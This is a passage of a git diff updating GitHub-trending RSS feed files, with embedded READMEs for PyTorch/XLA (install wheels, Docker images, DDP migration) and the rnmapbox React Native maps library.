<code>DistributedDataParallel</code>, make the following changes:</p> <pre><code class="language-diff"> import torch.distributed as dist -import torch.multiprocessing as mp +import torch_xla.core.xla_model as xm +import torch_xla.distributed.parallel_loader as pl +import torch_xla.distributed.xla_multiprocessing as xmp +import torch_xla.distributed.xla_backend def _mp_fn(rank, world_size): ... - os.environ['MASTER_ADDR'] = 'localhost' - os.environ['MASTER_PORT'] = '12355' - dist.init_process_group("gloo", rank=rank, world_size=world_size) + # Rank and world size are inferred from the XLA device runtime + dist.init_process_group("xla", init_method='xla://') + + model.to(xm.xla_device()) + # `gradient_as_bucket_view=tpu` required for XLA + ddp_model = DDP(model, gradient_as_bucket_view=True) - model = model.to(rank) - ddp_model = DDP(model, device_ids=[rank]) + xla_train_loader = pl.MpDeviceLoader(train_loader, xm.xla_device()) - for inputs, labels in train_loader: + for inputs, labels in xla_train_loader: optimizer.zero_grad() outputs = ddp_model(inputs) loss = loss_fn(outputs, labels) loss.backward() optimizer.step() if __name__ == '__main__': - mp.spawn(_mp_fn, args=(), nprocs=world_size) + xmp.spawn(_mp_fn, args=()) </code></pre> <p>Additional information on PyTorch/XLA, including a description of its semantics and functions, is available at <a href="http://pytorch.org/xla/">PyTorch.org</a>. See the <a href="https://raw.githubusercontent.com/pytorch/xla/master/API_GUIDE.md">API Guide</a> for best practices when writing networks that run on XLA devices (TPU, GPU, CPU and...).</p> <p>Our comprehensive user guides are available at:</p> <p><a href="https://pytorch.org/xla">Documentation for the latest release</a></p> <p><a href="https://pytorch.org/xla/master">Documentation for master branch</a></p> <h2>PyTorch/XLA tutorials</h2> <ul> <li><a href="https://cloud.google.com/tpu/docs/run-calculation-pytorch">Cloud TPU VM quickstart</a></li> <li><a href="https://cloud.google.com/tpu/docs/pytorch-pods">Cloud TPU Pod slice quickstart</a></li> <li><a href="https://cloud.google.com/tpu/docs/pytorch-xla-performance-profiling-tpu-vm">Profiling on TPU VM</a></li> <li><a href="https://raw.githubusercontent.com/pytorch/xla/master/docs/gpu.md">GPU guide</a></li> </ul> <h2>Available docker images and wheels</h2> <h3>Wheel</h3> <table> <thead> <tr> <th>Version</th> <th>Cloud TPU VMs Wheel</th> </tr> </thead> <tbody> <tr> <td>2.0 (Python 3.8)</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly &gt;= 2023/04/25 (Python 3.8)</td> <td><code>https://storage.googleapis.com/pytorch-xla-releases/wheels/tpuvm/torch_xla-nightly-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly &gt;= 2023/04/25 (Python 3.10)</td> <td><code>https://storage.googleapis.com/pytorch-xla-releases/wheels/tpuvm/torch_xla-nightly-cp310-cp310-linux_x86_64.whl</code></td> </tr> </tbody> </table> <details> <summary>older versions</summary> <table> <thead> <tr> <th>Version</th> <th>Cloud TPU VMs Wheel</th> </tr> </thead> <tbody> <tr> <td>1.13</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-1.13-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>1.12</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-1.12-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>1.11</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-1.11-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>1.10</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-1.10-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly &lt;= 2023/04/25</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/tpuvm/torch_xla-nightly-cp38-cp38-linux_x86_64.whl</code></td> </tr> </tbody> </table> </details> <br> <p>Note: For TPU Pod customers using XRT (our legacy runtime), we have custom wheels for <code>torch</code>, <code>torchvision</code>, and <code>torch_xla</code> at <code>https://storage.googleapis.com/tpu-pytorch/wheels/xrt</code>.</p> <table> <thead> <tr> <th>Package</th> <th>Cloud TPU VMs Wheel (XRT on Pod, Legacy Only)</th> </tr> </thead> <tbody> <tr> <td>torch_xla</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/xrt/torch_xla-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>torch</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/xrt/torch-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>torchvision</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/xrt/torchvision-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU Wheel + Python 3.8</th> </tr> </thead> <tbody> <tr> <td>2.0 + CUDA 11.8</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/118/torch_xla-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>2.0 + CUDA 11.7</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/117/torch_xla-2.0-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>1.13</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/112/torch_xla-1.13-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly + CUDA 12.0 &gt;= 2023/06/27</td> <td><code>https://storage.googleapis.com/pytorch-xla-releases/wheels/cuda/12.0/torch_xla-nightly-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly + CUDA 11.8 &lt;= 2023/04/25</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/118/torch_xla-nightly-cp38-cp38-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly + CUDA 11.8 &gt;= 2023/04/25</td> <td><code>https://storage.googleapis.com/pytorch-xla-releases/wheels/cuda/11.8/torch_xla-nightly-cp38-cp38-linux_x86_64.whl</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU Wheel + Python 3.7</th> </tr> </thead> <tbody> <tr> <td>1.13</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/112/torch_xla-1.13-cp37-cp37m-linux_x86_64.whl</code></td> </tr> <tr> <td>1.12</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/112/torch_xla-1.12-cp37-cp37m-linux_x86_64.whl</code></td> </tr> <tr> <td>1.11</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/112/torch_xla-1.11-cp37-cp37m-linux_x86_64.whl</code></td> </tr> <tr> <td>nightly</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/cuda/112/torch_xla-nightly-cp37-cp37-linux_x86_64.whl</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>Colab TPU Wheel</th> </tr> </thead> <tbody> <tr> <td>2.0</td> <td><code>https://storage.googleapis.com/tpu-pytorch/wheels/colab/torch_xla-2.0-cp310-cp310-linux_x86_64.whl</code></td> </tr> </tbody> </table> <p>You can also add <code>+yyyymmdd</code> after <code>torch_xla-nightly</code> to get the nightly wheel of a specified date. To get the companion pytorch and torchvision nightly wheel, replace the <code>torch_xla</code> with <code>torch</code> or <code>torchvision</code> on above wheel links.</p> <h4>Installing libtpu (before PyTorch/XLA 2.0)</h4> <p>For PyTorch/XLA release r2.0 and older and when developing PyTorch/XLA, install the <code>libtpu</code> pip package with the following command:</p> <pre><code>pip3 install torch_xla[tpuvm] </code></pre> <p>This is only required on Cloud TPU VMs.</p> <h3>Docker</h3> <table> <thead> <tr> <th>Version</th> <th>Cloud TPU VMs Docker</th> </tr> </thead> <tbody> <tr> <td>2.0</td> <td><code>gcr.io/tpu-pytorch/xla:r2.0_3.8_tpuvm</code></td> </tr> <tr> <td>1.13</td> <td><code>gcr.io/tpu-pytorch/xla:r1.13_3.8_tpuvm</code></td> </tr> <tr> <td>nightly python 3.10</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.10_tpuvm</code></td> </tr> <tr> <td>nightly python 3.8</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_tpuvm</code></td> </tr> <tr> <td>nightly python 3.10(&gt;= 2023/04/25)</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.10_tpuvm_YYYYMMDD</code></td> </tr> <tr> <td>nightly python 3.8(&gt;= 2023/04/25)</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_tpuvm_YYYYMMDD</code></td> </tr> <tr> <td>nightly at date(&lt; 2023/04/25)</td> <td><code>gcr.io/tpu-pytorch/xla:nightly_3.8_tpuvm_YYYYMMDD</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU CUDA 12.0 + Python 3.8 Docker</th> </tr> </thead> <tbody> <tr> <td>nightly</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_cuda_12.0</code></td> </tr> <tr> <td>nightly at date(&gt;=2023/06/27)</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_cuda_12.0_YYYYMMDD</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU CUDA 11.8 + Python 3.8 Docker</th> </tr> </thead> <tbody> <tr> <td>2.0</td> <td><code>gcr.io/tpu-pytorch/xla:r2.0_3.8_cuda_11.8</code></td> </tr> <tr> <td>nightly</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_cuda_11.8</code></td> </tr> <tr> <td>nightly at date(&gt;=2023/04/25)</td> <td><code>us-central1-docker.pkg.dev/tpu-pytorch-releases/docker/xla:nightly_3.8_cuda_11.8_YYYYMMDD</code></td> </tr> <tr> <td>nightly at date(&lt;2023/04/25)</td> <td><code>gcr.io/tpu-pytorch/xla:nightly_3.8_cuda_11.8_YYYYMMDD</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU CUDA 11.7 + Python 3.8 Docker</th> </tr> </thead> <tbody> <tr> <td>2.0</td> <td><code>gcr.io/tpu-pytorch/xla:r2.0_3.8_cuda_11.7</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU CUDA 11.2 + Python 3.8 Docker</th> </tr> </thead> <tbody> <tr> <td>1.13</td> <td><code>gcr.io/tpu-pytorch/xla:r1.13_3.8_cuda_11.2</code></td> </tr> </tbody> </table> <br> <table> <thead> <tr> <th>Version</th> <th>GPU CUDA 11.2 + Python 3.7 Docker</th> </tr> </thead> <tbody> <tr> <td>1.13</td> <td><code>gcr.io/tpu-pytorch/xla:r1.13_3.7_cuda_11.2</code></td> </tr> <tr> <td>1.12</td> <td><code>gcr.io/tpu-pytorch/xla:r1.12_3.7_cuda_11.2</code></td> </tr> </tbody> </table> <p>To run on <a href="https://cloud.google.com/compute/docs/gpus/create-vm-with-gpus">compute instances with GPUs</a>.</p> <h2>Troubleshooting</h2> <p>If PyTorch/XLA isn't performing as expected, see the <a href="https://raw.githubusercontent.com/pytorch/xla/master/TROUBLESHOOTING.md">troubleshooting guide</a>, which has suggestions for debugging and optimizing your network(s).</p> <h2>Providing Feedback</h2> <p>The PyTorch/XLA team is always happy to hear from users and OSS contributors! The best way to reach out is by filing an issue on this Github. Questions, bug reports, feature requests, build issues, etc. are all welcome!</p> <h2>Contributing</h2> <p>See the <a href="https://raw.githubusercontent.com/pytorch/xla/master/CONTRIBUTING.md">contribution guide</a>.</p> <h2>Disclaimer</h2> <p>This repository is jointly operated and maintained by Google, Facebook and a number of individual contributors listed in the <a href="https://github.com/pytorch/xla/graphs/contributors">CONTRIBUTORS</a> file. For questions directed at Facebook, please send an email to <a href="mailto:opensource@fb.com">opensource@fb.com</a>. For questions directed at Google, please send an email to <a href="mailto:pytorch-xla@googlegroups.com">pytorch-xla@googlegroups.com</a>. For all other questions, please open up an issue in this repository <a href="https://github.com/pytorch/xla/issues">here</a>.</p> <h2>Additional Reads</h2> <p>You can find additional useful reading materials in</p> <ul> <li><a href="https://cloud.google.com/blog/topics/developers-practitioners/pytorchxla-performance-debugging-tpu-vm-part-1">Performance debugging on Cloud TPU VM</a></li> <li><a href="https://pytorch.org/blog/understanding-lazytensor-system-performance-with-pytorch-xla-on-cloud-tpu/">Lazy tensor intro</a></li> <li><a href="https://cloud.google.com/blog/topics/developers-practitioners/scaling-deep-learning-workloads-pytorch-xla-and-cloud-tpu-vm">Scaling deep learning workloads with PyTorch / XLA and Cloud TPU VM</a></li> <li><a href="https://pytorch.org/blog/scaling-pytorch-models-on-cloud-tpus-with-fsdp/">Scaling PyTorch models on Cloud TPUs with FSDP</a></li> </ul> \ No newline at end of file diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml index 57e0ad313a0..a0202b90f03 100644 --- a/kaitai-struct/daily/index.xml +++ b/kaitai-struct/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kaitai Struct Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:47Z + 2023-09-20T01:33:54Z Daily Trending of Kaitai Struct in GitHub \ No newline at end of file diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml index 282123befc2..31473541b71 100644 --- a/kakounescript/daily/index.xml +++ b/kakounescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub KakouneScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:49Z + 2023-09-20T01:33:52Z Daily Trending of KakouneScript in GitHub \ No newline at end of file diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml index d0b90b7e58b..55673e76b5d 100644 --- a/kicad-layout/daily/index.xml +++ b/kicad-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:53Z + 2023-09-20T01:33:55Z Daily Trending of KiCad Layout in GitHub \ No newline at end of file diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml index f2c4d40fd11..8999d246971 100644 --- a/kicad-legacy-layout/daily/index.xml +++ b/kicad-legacy-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Legacy Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:51Z + 2023-09-20T01:33:57Z Daily Trending of KiCad Legacy Layout in GitHub \ No newline at end of file diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml index 40aea1ed27e..2fea6eaac06 100644 --- a/kicad-schematic/daily/index.xml +++ b/kicad-schematic/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Schematic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:51Z + 2023-09-20T01:33:58Z Daily Trending of KiCad Schematic in GitHub \ No newline at end of file diff --git a/kit/daily/index.xml b/kit/daily/index.xml index f8d47b22e76..4fb410e693d 100644 --- a/kit/daily/index.xml +++ b/kit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:55Z + 2023-09-20T01:33:59Z Daily Trending of Kit in GitHub \ No newline at end of file diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml index c39bdb8bc73..0f991d53ea3 100644 --- a/kotlin/daily/index.xml +++ b/kotlin/daily/index.xml @@ -1,7 +1,14 @@ GitHub Kotlin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:59Z + 2023-09-20T01:34:03Z Daily Trending of Kotlin in GitHub + + rnmapbox/maps + 2023-09-20T01:34:03Z + tag:github.com,2023-09-20:/rnmapbox/maps + + <p>A Mapbox react native module for creating custom maps</p><hr><h1>Mapbox Maps SDK for React Native</h1> <table style="border: none; border-width: 0px"> <tbody> <tr style="border: none; border-width: 0px"> <td style="border: none; border-width: 0px"> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/mapbox_logo.png" height="75"> </td> <td style="border: none; border-width: 0px"> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/React-icon.svg?sanitize=true" height="75"> </td> </tr> </tbody> </table> <table> <thead> <tr> <th><a href="https://badge.fury.io/js/%40rnmapbox%2Fmaps"><img src="https://badge.fury.io/js/%40rnmapbox%2Fmaps.svg?sanitize=true" alt="npm version"></a></th> <th><a href="https://github.com/rnmapbox/maps/actions/workflows/on-push.yml?branch=main"><img src="https://github.com/rnmapbox/maps/actions/workflows/on-push.yml/badge.svg?branch=main" alt="iOS &amp; Android Build"></a></th> </tr> </thead> </table> <p><em>A community-supported, open-source React Native library for building maps with the <a href="https://www.mapbox.com/ios-sdk/">Mapbox Maps SDK for iOS</a> and <a href="https://www.mapbox.com/android-sdk/">Mapbox Maps SDK for Android</a></em></p> <hr> <h2>News &amp; Discussions</h2> <h4><span style="color:red">→</span> Call for additional maintainers <a href="https://github.com/rnmapbox/maps/discussions/1551">discussion thread</a></h4> <hr> <table> <tbody> <tr> <td colspan="2" align="center"> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/intro-examples.png"> </td> </tr> <tr> <td> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/beta-maps-example-point-annotation-960-d280759f6a3d8d75458f399c7a044926.webp" width="1200"> </td> </tr> <tr> <td> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/beta-maps-guides-migrate-3d-terrain-960-48b1080117817ccfd92e434d0df7546f.webp" width="1200"> </td> </tr> <tr> <td> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/maps-examples-building-extrusions-960-aaa140cce77da4e8b2dd216032b191b6.webp" width="1200"> </td> </tr> <tr> <td> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/maps-examples-data-driven-symbols-960-2e2061a6b8127ef305c1b6c159f8dc65.webp" width="1200"> </td> </tr> </tbody> </table> <hr> <h3>Supported Implementations</h3> <p>At the moment we support Mapbox (v10) and Mapbox (v11) beta. We default to Mapbox (v10).</p> <p><em>See <a href="https://raw.githubusercontent.com/rnmapbox/maps/main/ios/install.md">iOS</a> &amp; <a href="https://raw.githubusercontent.com/rnmapbox/maps/main/android/install.md">Android</a> setup guide for using v11 beta</em></p> <h2>Prerequisite</h2> <ol> <li>Please <a href="https://account.mapbox.com/auth/signup/">Sign Up to Mapbox</a> to get the Mapbox Access Token.</li> </ol> <h2>Dependencies</h2> <ul> <li><a href="https://nodejs.org">node</a></li> <li><a href="https://www.npmjs.com/">npm</a></li> <li><a href="https://facebook.github.io/react-native/">React Native</a> (0.64+)</li> </ul> <h2>Installation</h2> <h3>Step 1 - Install Package:</h3> <h4>Using <code>yarn</code></h4> <p>Install the latest source from git:</p> <pre><code class="language-sh">yarn add @rnmapbox/maps </code></pre> <h4>Using <code>npm</code></h4> <p>Install the latest source from git:</p> <pre><code class="language-sh">npm install --save @rnmapbox/maps </code></pre> <h4>Installing other versions</h4> <ul> <li><code>@rnmapbox/maps</code> installs the latest release from npm</li> <li>to install current <code>main</code> from github replace <code>@rnmapbox/maps</code> with <code>rnmapbox/maps#main</code>. To install specific version use <code>@rnmapbox/maps@10.0.4</code></li> </ul> <h4>Using <code>expo</code></h4> <p>Please follow the <a href="https://raw.githubusercontent.com/rnmapbox/maps/main/plugin/install.md">Expo Guide</a>.</p> <h3>Step 2 - Installation Guides:</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/android/install.md">Android</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/ios/install.md">iOS</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/plugin/install.md">Expo</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/example">Example</a></li> </ul> <h3>Getting Started</h3> <p>For more information, check out our <a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/GettingStarted.md">Getting Started</a> section</p> <h2>Run Project</h2> <p>Before you run your project be sure you have completed the Installation Guides for Android or iOS.</p> <h3>Run iOS Simulator</h3> <pre><code class="language-sh"># Run with yarn yarn run ios # or Run with NPM npm run ios </code></pre> <h3>Run Android Emulator</h3> <pre><code class="language-sh"># Run with yarn yarn run android # or Run with NPM npm run android </code></pre> <h2>Adding a map</h2> <pre><code class="language-js">import React from 'react'; import { StyleSheet, View } from 'react-native'; import Mapbox from '@rnmapbox/maps'; Mapbox.setAccessToken('&lt;YOUR_ACCESSTOKEN&gt;'); const App = () =&gt; { return ( &lt;View style={styles.page}&gt; &lt;View style={styles.container}&gt; &lt;Mapbox.MapView style={styles.map} /&gt; &lt;/View&gt; &lt;/View&gt; ); } export default App; const styles = StyleSheet.create({ page: { flex: 1, justifyContent: 'center', alignItems: 'center', }, container: { height: 300, width: 300, }, map: { flex: 1 } }); </code></pre> <hr> <h2>Documentation</h2> <h3>Components</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/MapView.md">MapView</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Light.md">Light</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/StyleSheet.md">StyleSheet</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/PointAnnotation.md">PointAnnotation</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/MarkerView.md">MarkerView</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Callout.md">Callout</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Camera.md">Camera</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/UserLocation.md">UserLocation</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Images.md">Images</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Image.md">Image</a></li> </ul> <h3>Sources</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/VectorSource.md">VectorSource</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/ShapeSource.md">ShapeSource</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/RasterSource.md">RasterSource</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/RasterDemSource.md">RasterDemSource</a></li> </ul> <h3>Layers</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/BackgroundLayer.md">BackgroundLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/CircleLayer.md">CircleLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/FillExtrusionLayer.md">FillExtrusionLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/FillLayer.md">FillLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/LineLayer.md">LineLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/RasterLayer.md">RasterLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/SymbolLayer.md">SymbolLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/HeatmapLayer.md">HeatmapLayer</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/SkyLayer.md">SkyLayer</a></li> </ul> <h3>Terrain</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Terrain.md">Terrain</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Atmosphere.md">Atmosphere</a></li> </ul> <h3>Offline</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/OfflineManager.md">OfflineManager</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/snapshotManager.md">SnapshotManager</a></li> </ul> <h3>Misc</h3> <ul> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/MapboxGL.md">Mapbox</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/CustomHttpHeaders.md">CustomHttpHeaders</a></li> <li><a href="https://raw.githubusercontent.com/rnmapbox/maps/main/docs/Logger.md">Logger</a></li> </ul> <h2>Expo Support</h2> <p>This package is not available in the <a href="https://expo.io/client">Expo Go</a> app. Learn how you can use it with <a href="https://raw.githubusercontent.com/rnmapbox/maps/main/plugin/install.md">custom dev clients</a>.</p> <h2>Testing with Jest</h2> <p>This library provides some mocks which are necessary for running tests.</p> <p>Example:</p> <pre><code class="language-json">"jest": { "preset": "react-native", "setupFilesAfterEnv": ["@rnmapbox/maps/setup-jest"], "transformIgnorePatterns": [ "node_modules/(?!(...|@rnmapbox))" ] } </code></pre> <hr> <h2>Sponsors</h2> <p>Help drive this repo forward - be a sponsor. Add a comment <a href="https://github.com/rnmapbox/maps/discussions/1551">here</a> to discuss your sponsorship.</p> <p></p> <table style="border: none; border-width: 0px"> <tbody> <tr> <td align="center"> <a href="https://scouttohunt.com/" target="_blank"> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/sponsors/sth.png" alt="Scout To Hunt" height="60"> </a></td> <td align="center"> <a href="https://terrain.dance/" target="_blank"> <img src="https://raw.githubusercontent.com/rnmapbox/maps/main/assets/sponsors/terrain.dance.png" alt="Terrain Dance LLC" height="60"> </a> </td> </tr> <tr> <td align="center"> <p><a href="https://scouttohunt.com/" target="_blank">Scout To Hunt</a></p></td> <td align="center"><a href="https://terrain.dance/" target="_blank">Terrain Dance</a></td> </tr> </tbody> </table> <hr> <h2>Developer Group</h2> <p>Have a question or need some help? Join our <a href="https://gitter.im/rnmapbox/Lobby">Gitter developer group</a>!</p> + \ No newline at end of file diff --git a/krl/daily/index.xml b/krl/daily/index.xml index c238861c634..17c453c139b 100644 --- a/krl/daily/index.xml +++ b/krl/daily/index.xml @@ -1,7 +1,7 @@ GitHub KRL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:56Z + 2023-09-20T01:33:59Z Daily Trending of KRL in GitHub \ No newline at end of file diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml index 37ad4f97657..a81ac1685ee 100644 --- a/kusto/daily/index.xml +++ b/kusto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kusto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:54Z + 2023-09-20T01:34:00Z Daily Trending of Kusto in GitHub \ No newline at end of file diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml index f0fcdf1f0ac..7e3eb56d2be 100644 --- a/kvlang/daily/index.xml +++ b/kvlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub kvlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:08Z + 2023-09-20T01:34:15Z Daily Trending of kvlang in GitHub \ No newline at end of file diff --git a/labview/daily/index.xml b/labview/daily/index.xml index 522509ee033..c62aac31445 100644 --- a/labview/daily/index.xml +++ b/labview/daily/index.xml @@ -1,7 +1,7 @@ GitHub LabVIEW Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:06Z + 2023-09-20T01:34:14Z Daily Trending of LabVIEW in GitHub \ No newline at end of file diff --git a/lark/daily/index.xml b/lark/daily/index.xml index 2b4e5f6176a..bf0d3067655 100644 --- a/lark/daily/index.xml +++ b/lark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:05Z + 2023-09-20T01:34:16Z Daily Trending of Lark in GitHub \ No newline at end of file diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml index 160328bfc32..0aed2772919 100644 --- a/lasso/daily/index.xml +++ b/lasso/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lasso Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:07Z + 2023-09-20T01:34:13Z Daily Trending of Lasso in GitHub \ No newline at end of file diff --git a/latte/daily/index.xml b/latte/daily/index.xml index 0aeb142226e..938d3ca05f7 100644 --- a/latte/daily/index.xml +++ b/latte/daily/index.xml @@ -1,7 +1,7 @@ GitHub Latte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:10Z + 2023-09-20T01:34:17Z Daily Trending of Latte in GitHub \ No newline at end of file diff --git a/lean/daily/index.xml b/lean/daily/index.xml index 517f360a833..0e2e41a16cd 100644 --- a/lean/daily/index.xml +++ b/lean/daily/index.xml @@ -1,21 +1,7 @@ GitHub Lean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:11Z + 2023-09-20T01:34:19Z Daily Trending of Lean in GitHub - - jjdishere/EG - 2023-09-19T01:33:11Z - tag:github.com,2023-09-19:/jjdishere/EG - - <p>Formalizing Euclidean Geometry in Lean</p><hr> - - - lean-dojo/LeanInfer - 2023-09-19T01:33:11Z - tag:github.com,2023-09-19:/lean-dojo/LeanInfer - - <p>Native Neural Network Inference in Lean</p><hr> - \ No newline at end of file diff --git a/less/daily/index.xml b/less/daily/index.xml index 4f5e0418501..f210d5dcd42 100644 --- a/less/daily/index.xml +++ b/less/daily/index.xml @@ -1,7 +1,7 @@ GitHub Less Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:33:12Z + 2023-09-20T01:34:21Z Daily Trending of Less in GitHub \ No newline at end of file diff --git 